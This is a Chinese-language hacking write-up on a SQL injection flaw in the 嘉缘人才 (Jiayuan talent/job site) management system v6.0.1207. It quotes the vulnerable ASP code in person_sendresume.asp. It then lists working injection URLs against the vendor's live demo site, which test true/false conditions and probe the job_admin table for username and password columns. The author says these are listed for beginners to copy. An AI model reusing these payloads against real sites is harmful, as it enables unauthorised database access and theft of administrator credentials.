前段日子无聊的时候简单看了看嘉缘人才系统的程序,今天在站长站上看到嘉缘人才系统有更新了,而且也说修改了以前所发现的Bug,所以便下载一套最新版的,下面来看看我对这套系统的分析吧,版本为嘉缘人才网站管理系统 v6.0.1207 精简版。
虽然简介中说补上了已知漏洞,不过在检测过程中还是发现了几个注入漏洞,下面那我们就以其中一个注入漏洞为例说说这套系统的注入漏洞,来看看person/person_sendresume.asp的代码吧。这个文件就有几处注入漏洞,我们看其中的一个吧,行147-152,如下:
resumeid=request("resumeid")
If resumeid="" Then
Response.Write ("<script language=JavaScript>{alert('错误:请选择简历!');location.href = 'javascript:history.go(-1)';}</script>")
Response.End
else
set rs=conn.execute("select * from job_p_resume where resume_pmember='"&pmember_login&"'and resume_id="&resumeid&"")
我们看到,系统在对resumeid这个变量在获取之后,只是判断了是否为空,然后便在行152处进行了SQL语句的操作!而且person_sendresume.asp也没有include相关防止SQL注入的文件,这样一个注入漏洞也就形成了!,在页面中体现的地方是发送简历的页面。下面来看看对官方演示站点的测试!首先注册并生成一份简历的过程我们就不啰嗦了,直接进入外发简历,通过源代码我们可以找到我们简历的相应resumeid的值,我这里的值是273。构造如下:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and 1=1,
然后我们在提交:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and 1=2,
返回结果
这个漏洞也是前一个版本中存在的,而且工具检测是实现不了的,下面我们就进行相应的SQL的猜数字游戏吧,这里就不截图了,为了照顾小菜,把相关的URL给列出来,如下:
判断表段:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and exists (select count(*) from job_admin)
判断字段:
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and (select count(job_user) from job_admin)>0
http://demo.finereason.com/person/person_sendresume.asp?sendresume=1&sendemail=1@1.com&step=send&resumeid=273 and (select count(job_pass) from job_admin)>0